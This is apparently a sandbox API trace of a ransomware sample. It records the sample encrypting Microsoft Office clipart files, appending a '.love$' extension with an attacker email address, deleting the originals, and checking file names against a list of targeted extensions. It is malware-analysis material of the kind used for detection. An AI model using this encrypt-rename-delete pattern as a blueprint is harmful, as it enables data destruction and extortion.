1 [0118.221] WriteFile (in: hFile=0x394, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x1da0, lpOverlapped=0x0) returned 1 [0118.223] ReadFile (in: hFile=0x374, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0118.223] WriteFile (in: hFile=0x394, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0118.223] SetEndOfFile (hFile=0x394) returned 1 [0118.223] CloseHandle (hObject=0x394) returned 1 [0118.224] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0118.224] SetEndOfFile (hFile=0x374) returned 1 [0118.225] CloseHandle (hObject=0x374) returned 1 [0118.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0118.226] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0118.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0118.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0118.265] lstrlenW (lpString=".doc") returned 4 [0118.265] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0118.265] lstrlenW (lpString=".docx") returned 5 [0118.265] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0118.265] lstrlenW (lpString=".pdf") returned 4 [0118.265] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0118.265] lstrlenW (lpString=".xls") returned 4 [0118.265] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0118.265] lstrlenW (lpString=".xlsx") returned 5 [0118.265] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0118.265] lstrlenW (lpString=".ppt") returned 4 [0118.265] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0118.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0118.265] lstrlenW (lpString=".zip") returned 4 [0118.265] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0118.265] lstrlenW (lpString=".rar") returned 4 [0118.265] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0118.265] lstrlenW (lpString=".bz2") returned 4 [0118.265] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0118.265] lstrlenW (lpString=".7z") returned 3 [0118.265] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0118.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0118.265] lstrlenW (lpString=".dbf") returned 4 [0118.265] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0118.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0118.265] lstrlenW (lpString=".1cd") returned 4 [0118.266] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0118.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0118.266] lstrlenW (lpString=".jpg") returned 4 [0118.266] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0118.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0118.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0118.266] lstrlenW (lpString=".doc") returned 4 [0118.266] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0118.266] lstrlenW (lpString=".docx") returned 5 [0118.266] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0118.266] lstrlenW (lpString=".pdf") returned 4 [0118.266] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0118.266] lstrlenW (lpString=".xls") returned 4 [0118.266] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0118.266] lstrlenW (lpString=".xlsx") returned 5 [0118.266] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0118.266] lstrlenW (lpString=".ppt") returned 4 [0118.266] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0118.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0118.266] lstrlenW (lpString=".zip") returned 4 [0118.266] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0118.266] lstrlenW (lpString=".rar") returned 4 [0118.266] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0118.266] lstrlenW (lpString=".bz2") returned 4 [0118.266] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0118.266] lstrlenW (lpString=".7z") returned 3 [0118.266] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0118.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0118.266] lstrlenW (lpString=".dbf") returned 4 [0118.266] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0118.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0118.266] lstrlenW (lpString=".1cd") returned 4 [0118.266] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0118.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0118.266] lstrlenW (lpString=".jpg") returned 4 [0118.267] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0118.267] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0118.267] lstrlenW (lpString="AG00165_.GIF") returned 12 [0118.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0119.324] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=8582) returned 1 [0119.324] CloseHandle (hObject=0x34c) returned 1 [0119.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 0x220 [0119.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0119.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0119.336] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0119.337] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0119.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0119.337] GetLastError () returned 0x0 [0119.337] ReadFile (in: hFile=0x370, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x2186, lpOverlapped=0x0) returned 1 [0119.339] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x2190, lpOverlapped=0x0) returned 1 [0119.341] ReadFile (in: hFile=0x370, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0119.341] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0119.341] SetEndOfFile (hFile=0x384) returned 1 [0119.341] CloseHandle (hObject=0x384) returned 1 [0119.346] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0119.346] SetEndOfFile (hFile=0x370) returned 1 [0119.348] CloseHandle (hObject=0x370) returned 1 [0119.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0119.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0119.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0119.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0119.349] lstrlenW (lpString=".doc") returned 4 [0119.349] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0119.350] lstrlenW (lpString=".docx") returned 5 [0119.350] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0119.350] lstrlenW (lpString=".pdf") returned 4 [0119.350] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0119.350] lstrlenW (lpString=".xls") returned 4 [0119.350] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0119.350] lstrlenW (lpString=".xlsx") returned 5 [0119.350] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0119.350] lstrlenW (lpString=".ppt") returned 4 [0119.350] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0119.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0119.350] lstrlenW (lpString=".zip") returned 4 [0119.350] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0119.350] lstrlenW (lpString=".rar") returned 4 [0119.350] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0119.350] lstrlenW (lpString=".bz2") returned 4 [0119.350] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0119.350] lstrlenW (lpString=".7z") returned 3 [0119.350] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0119.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0119.350] lstrlenW (lpString=".dbf") returned 4 [0119.350] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0119.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0119.350] lstrlenW (lpString=".1cd") returned 4 [0119.351] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0119.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0119.351] lstrlenW (lpString=".jpg") returned 4 [0119.351] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0119.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0119.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0119.351] lstrlenW (lpString=".doc") returned 4 [0119.351] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0119.351] lstrlenW (lpString=".docx") returned 5 [0119.351] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0119.351] lstrlenW (lpString=".pdf") returned 4 [0119.351] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0119.352] lstrlenW (lpString=".xls") returned 4 [0119.352] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0119.352] lstrlenW (lpString=".xlsx") returned 5 [0119.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0119.352] lstrlenW (lpString=".ppt") returned 4 [0119.352] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0119.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0119.352] lstrlenW (lpString=".zip") returned 4 [0119.352] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0119.352] lstrlenW (lpString=".rar") returned 4 [0119.352] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0119.352] lstrlenW (lpString=".bz2") returned 4 [0119.352] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0119.352] lstrlenW (lpString=".7z") returned 3 [0119.352] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0119.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0119.352] lstrlenW (lpString=".dbf") returned 4 [0119.352] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0119.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0119.353] lstrlenW (lpString=".1cd") returned 4 [0119.353] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0119.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0119.353] lstrlenW (lpString=".jpg") returned 4 [0119.353] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0119.353] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0119.353] lstrlenW (lpString="AG00169_.GIF") returned 12 [0119.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0119.354] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=5375) returned 1 [0119.354] CloseHandle (hObject=0x370) returned 1 [0119.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 0x220 [0119.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0119.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0119.355] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0119.355] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0119.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0119.356] GetLastError () returned 0x0 [0119.356] ReadFile (in: hFile=0x370, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x14ff, lpOverlapped=0x0) returned 1 [0119.358] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x1500, lpOverlapped=0x0) returned 1 [0119.359] ReadFile (in: hFile=0x370, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0119.359] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0119.359] SetEndOfFile (hFile=0x384) returned 1 [0119.360] CloseHandle (hObject=0x384) returned 1 [0119.364] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0119.364] SetEndOfFile (hFile=0x370) returned 1 [0119.366] CloseHandle (hObject=0x370) returned 1 [0119.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0119.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0119.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0119.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0119.367] lstrlenW (lpString=".doc") returned 4 [0119.367] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0119.367] lstrlenW (lpString=".docx") returned 5 [0119.367] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0119.367] lstrlenW (lpString=".pdf") returned 4 [0119.367] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0119.367] lstrlenW (lpString=".xls") returned 4 [0119.367] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0119.367] lstrlenW (lpString=".xlsx") returned 5 [0119.367] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0119.367] lstrlenW (lpString=".ppt") returned 4 [0119.367] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0119.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0119.367] lstrlenW (lpString=".zip") returned 4 [0119.367] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0119.367] lstrlenW (lpString=".rar") returned 4 [0119.367] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0119.367] lstrlenW (lpString=".bz2") returned 4 [0119.367] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0119.367] lstrlenW (lpString=".7z") returned 3 [0119.367] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0119.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0119.368] lstrlenW (lpString=".dbf") returned 4 [0119.368] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0119.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0119.368] lstrlenW (lpString=".1cd") returned 4 [0119.368] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0119.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0119.368] lstrlenW (lpString=".jpg") returned 4 [0119.368] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0119.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0119.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0119.368] lstrlenW (lpString=".doc") returned 4 [0119.368] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0119.368] lstrlenW (lpString=".docx") returned 5 [0119.368] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0119.849] lstrlenW (lpString=".pdf") returned 4 [0119.849] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0119.849] lstrlenW (lpString=".xls") returned 4 [0119.849] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0119.849] lstrlenW (lpString=".xlsx") returned 5 [0119.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0119.849] lstrlenW (lpString=".ppt") returned 4 [0119.849] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0119.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0119.849] lstrlenW (lpString=".zip") returned 4 [0119.849] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0119.849] lstrlenW (lpString=".rar") returned 4 [0119.849] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0119.849] lstrlenW (lpString=".bz2") returned 4 [0119.849] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0119.850] lstrlenW (lpString=".7z") returned 3 [0119.850] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0119.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0119.850] lstrlenW (lpString=".dbf") returned 4 [0119.850] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0119.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0119.850] lstrlenW (lpString=".1cd") returned 4 [0119.850] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0119.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0119.850] lstrlenW (lpString=".jpg") returned 4 [0119.850] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0119.886] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0119.886] lstrlenW (lpString="AG00175_.GIF") returned 12 [0119.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0119.890] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=3378) returned 1 [0119.890] CloseHandle (hObject=0x340) returned 1 [0119.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0x220 [0119.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0119.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0119.891] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0119.891] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0119.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0119.891] GetLastError () returned 0x0 [0119.891] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0xd32, lpOverlapped=0x0) returned 1 [0119.896] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xd40, lpOverlapped=0x0) returned 1 [0119.897] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0119.897] WriteFile (in: hFile=0x384, 